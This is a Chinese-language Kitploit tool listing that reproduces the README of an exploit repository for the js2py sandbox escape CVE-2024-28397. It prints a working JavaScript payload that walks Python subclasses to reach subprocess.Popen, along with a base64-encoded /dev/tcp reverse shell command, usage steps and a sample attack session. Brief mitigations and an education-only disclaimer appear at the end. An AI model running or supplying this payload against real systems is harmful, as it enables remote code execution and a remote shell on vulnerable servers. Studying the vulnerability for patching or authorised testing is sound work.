Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE — 针对 CVE-2024-28397 js2py 沙箱逃逸漏洞的利用脚本,通过 Python 对象内省实现远程代码执行,并生成反向 shell 负载。 | Kitploit
工具/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用学习与教育远程访问工具
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

针对 CVE-2024-28397 js2py 沙箱逃逸漏洞的利用脚本,通过 Python 对象内省实现远程代码执行,并生成反向 shell 负载。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
11个月前尚未审核

CVE-2024-28397 js2py 沙箱逃逸漏洞利用

针对 js2py 沙箱逃逸漏洞 (CVE‑2024‑28397) 的利用脚本集合,该漏洞允许通过 Python 对象内省实现任意代码执行。

🔍 漏洞概述

js2py 库中存在一个关键的沙箱逃逸漏洞,攻击者可通过 JavaScript 的 Object.getOwnPropertyNames() 方法访问 Python 内部对象,从而执行任意 Python 代码。

技术细节

  • CVE ID: CVE-2024-28397
  • 受影响库: js2py (JavaScript 转 Python 翻译器)
  • 攻击向量: 通过 Python 对象内实现沙箱逃逸
  • 影响: 远程代码执行 (RCE)

📋 参考分析

本利用基于 Marven11 的全面分析:

  • 分析文档: CVE-2024-28397 js2py 沙箱逃逸分析

🛠️ 利用脚本

本仓库包含三种不同的实现:

1. Bash 脚本 (exploit.sh)

轻量级 bash 实现,使用 curl 和 jq。

2. Go 脚本 (exploit.go)

跨平台 Go 实现,内置 HTTP 客户端。

🚀 快速开始

前置条件

  • Bash 脚本: curl, jq, base64
  • Go 脚本: Go 1.16+

使用方法

所有脚本均为交互式,会提示输入所需信息:

root@kitploit:~
# Bash 版本
chmod +x exploit.sh
./exploit.sh

# Go 版本
go run exploit.go

交互式提示

每个脚本会要求:

  1. 目标 URL: 运行易受攻击 js2py 代码的端点
  2. 你的 IP: 用于反弹 shell 的机器 IP 地址
  3. 你的端口: 反弹 shell 连接的端口号

示例会话

root@kitploit:~
$ ./exploit.sh
目标 URL: http://target.example.com:8000/run_code
你的 IP: 10.10.14.3
你的端口: 9001
正在向 http://target.example.com:8000/run_code 发送反弹 shell 10.10.14.3:9001
{"result": "executed"}

🎯 工作原理

1. Payload 生成

利用脚本动态创建反弹 shell 命令:

root@kitploit:~
sh -i >& /dev/tcp/你的IP/你的端口 0>&1

2. Base64 编码

shell 命令经过 base64 编码以便安全传输:

root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. JavaScript 沙箱逃逸

核心利用使用 JavaScript 访问 Python 内部对象:

root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. 执行流程

  1. 通过 Object.getOwnPropertyNames({}) 访问 Python 对象系统
  2. 通过 __class__.__base__.__getattribute__ 导航到基类
  3. 搜索子类找到 subprocess.Popen
  4. 通过 Popen 执行任意系统命令

🛡️ 缓解措施

  • 将 js2py 更新到已修复版本
  • 实现正确的输入验证和清理
  • 使用安全的沙箱替代方案
  • 应用纵深防御安全措施

📚 教育目的

这些脚本仅用于教育和授权测试目的。在针对任何系统进行测试前,请务必确保拥有适当授权。

🔗 参考链接

  • CVE-2024-28397 官方条目
  • Marven11 的详细分析
  • js2py GitHub 仓库

⚖️ 免责声明

本软件仅用于教育和授权安全测试。用户有责任遵守适用法律并在使用前获得适当授权。

下载工具